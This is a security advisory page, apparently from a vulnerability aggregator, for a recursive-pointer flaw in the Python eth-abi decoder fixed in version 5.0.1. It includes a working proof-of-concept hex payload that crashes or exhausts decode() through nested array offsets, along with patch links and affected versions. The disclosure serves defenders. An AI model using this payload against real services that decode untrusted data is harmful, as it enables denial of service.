- cvss
- —
- not scored
- cisa kev
- Not listed
- not in CISA's catalog
- epss
- —
- no score, EPSS covers CVEs only
- public exploits
- 0
- none known
Summary
This is related to recent ZST stuff (https://github.com/ethereum/eth-abi/security/advisories/GHSA-rqr8-pxh7-cq3g), but it's a different one. Basically a recursive pointer issue
```py from eth_abi import decode
payload = "0000000000000000000000000000000000000000000000000000000000000020000000000000000000000000000000000000000000000000000000000000000a0000000000000000000000000000000000000000000000000000000000000020000000000000000000000000000000000000000000000000000000000000002000000000000000000000000000000000000000000000000000000000000000200000000000000000000000000000000000000000000000000000000000000020000000000000000000000000000000000000000000000000000000000000002000000000000000000000000000000000000000000000000000000000000000200000000000000000000000000000000000000000000000000000000000000020000000000000000000000000000000000000000000000000000000000000002000000000000000000000000000000000000000000000000000000000000000200000000000000000000000000000000000000000000000000000000000000020"
# OverflowError: Python int too large to convert to C ssize_t #decode(['(uint256[][][][][][][][][][])'], bytearray.fromhex(payload))
decode(['uint256[][][][][][][][][][]'], bytearray.fromhex(payload+('00' * 1024))) ```
Patch / fix
- pypi eth-abi 5.0.1
- github.com/ethereum/eth-abi@82c1ad3 commit
- github.com/ApeWorX/eth-abi#226 pull request
Is GHSA-3qwc-47jf-5rf7 in your dependencies? Fencer shows which of your repositories are affected as soon as an advisory lands, and opens the fix as a pull request.
Check with FencerAffected packages
| ecosystem | package | affected | fixed in |
|---|---|---|---|
| pypi | eth-abi | <5.0.1 |
5.0.1 |
Classification
- Weakness
-
- CWE-1285 Improper Validation of Specified Index, Position, or Offset in Input
References
-
github.com
/ApeWorX/eth-abi/pull/226
web
-
github.com
/ethereum/eth-abi/commit/82c1ad37a866472562d81fedaef0f4fed0a08269
web
-
github.com
/ethereum/eth-abi/security/advisories/GHSA-3qwc-47jf-5rf7
web
-
github.com
/ethereum/eth-abi
package
-
github.com
/ApeWorX/eth-abi/security/advisories/GHSA-3qwc-47jf-5rf7
advisory
Sources
- GitHub Advisory GHSA-3qwc-47jf-5rf7
- Maintainer advisory GHSA-3qwc-47jf-5rf7
Fencer Intel keeps one entry per vulnerability: the CVE id wins, then GHSA, and records that alias each other are merged, except that two CVEs always keep separate entries. The same data is available as JSON.
The maintainers of ApeWorX/eth-abi published their own advisory on GitHub. Reviewed sources take precedence over it.